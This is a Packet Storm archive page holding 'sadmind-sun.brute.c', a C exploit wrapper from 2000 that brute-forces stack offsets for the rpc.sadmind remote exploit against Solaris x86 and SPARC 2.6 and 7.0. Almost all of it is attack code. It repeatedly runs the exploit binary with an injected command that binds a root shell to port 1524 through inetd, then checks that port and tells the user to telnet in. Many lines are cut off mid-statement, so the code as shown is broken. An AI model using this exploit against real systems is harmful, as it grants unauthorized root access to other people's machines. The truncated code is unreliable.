exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sadmind-sun.brute.c

sadmind-sun.brute.c
Posted Nov 14, 2000
Authored by synnergy, Nikolai Abromov

Remote exploit for rpc.sadmind which brute forces the offset. Tested against Solaris X86 and SPARC v2.6 and 7.0.

tags | exploit, remote, x86, cracker
systems | solaris
SHA-256 | c543a35cc08b05e3cb588f1186f77256b06978241255de8c03f64460975820d7

sadmind-sun.brute.c

Change Mirror Download
   Author:     nikolai abromov < minix@antionline.org >

brute force offset ....




// *** Synnergy Networks

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

/* *** ATTENTION *** you may have to change some
of these *** ATTENTION *** */
#define EXPX86 "sadmindex-x86" /*
sadmind exploit for x86 arch */
#define EXPSPARC "sadmindex-sparc" /*
sadmind exploit for sparc arch */
#define INC 4 /* sp brute forcing
incrementation - 4 should be ok

/* DON'T change the following */
#define FALSE 0 /* false */
#define TRUE !FALSE /* true */
#define BINDINGRES "echo 'ingreslock stream
tcp nowait root /bin/sh sh -i'
> /tmp/.x;
/usr/sbin/inetd -s /tmp/.x;
m -f
/tmp/.x;" /* bind rootshell */
#define SPX8626 0x080418ec /* default
sadmindex sp for x86 2.6 */
#define SPX867 0x08041798 /* default
sadmindex sp for x86 7.0 */
#define SPSPARC26 0xefff9580 /* default
sadmindex sp for sparc 2.6 */
#define SPSPARC7 0xefff9418 /* default
sadmindex sp for sparc 7.0 */
#define EXPCMDX8626 "./%s -h %s -c \"%s\" -s
0x%x -j 512\n" /* cmd line */
#define EXPCMDX867 "./%s -h %s -c \"%s\" -s
0x%x -j 536\n" /* cmd line */
#define EXPCMDSPARC "./%s -h %s -c \"%s\" -s
0x%x\n" /* cmd line */

int
main(int argc, char **argv)
{
int i, sockfd, fd, size = 4096, sign = -1;
long int addr;
char *buffer = (char *) malloc (size);
struct hostent *he;
struct sockaddr_in their_addr;
if (argc < 3)
{
fprintf(stderr, "\nsadmindex sp
brute forcer - by elux\n");
fprintf(stderr, "usage: %s [arch]
<host>\n\n", argv[0]);
fprintf(stderr, "\tarch:\n");
fprintf(stderr, "\t1 - x86 Solaris
2.6\n");
fprintf(stderr, "\t2 - x86 Solaris
7.0\n");
fprintf(stderr, "\t3 - SPARC
Solaris 2.6\n");
fprintf(stderr, "\t4 - SPARC
Solaris 7.0\n\n");
exit(TRUE);
}

if ( (he = gethostbyname(argv[2])) ==
NULL)
{
printf("Unable to resolve %s\n",
argv[2]);
exit(TRUE);
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(1524);
their_addr.sin_addr = *((struct in_addr
*)he->h_addr);
bzero(&(their_addr.sin_zero), 8);

if ( (strcmp(argv[1], "1")) == 0)
{
addr = SPX8626;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{

fprintf(stderr, "\n\nNow telnet to %s,

close(sockfd);

exit(FALSE);
}
}
if ( (fd = open(EXPX86,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDX8626, EXPX86, arg
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "2")) == 0)
{
addr = SPX867;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{

fprintf(stderr, "\n\nNow telnet to %s,

close(sockfd);

exit(FALSE);
}
}
if ( (fd = open(EXPX86,
O_RDONLY)) != -1)
{


sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDX867, EXPX86, argv
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "3")) == 0)
{
addr = SPSPARC26;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{

fprintf(stderr, "\n\nNow telnet to %s,
close(sockfd);

exit(FALSE);
}
}
if ( (fd = open(EXPSPARC,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDSPARC, EXPSPARC, a
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "4")) == 0)
{
addr = SPSPARC7;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{

fprintf(stderr, "\n\nNow telnet to %s,

close(sockfd);

exit(FALSE);
}
}
if ( (fd = open(EXPSPARC,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDSPARC, EXPSPARC, a
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}

}
else
printf("%s is not a supported
arch, try 1 - 4 ... .. .\n", argv
}

// EOF
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close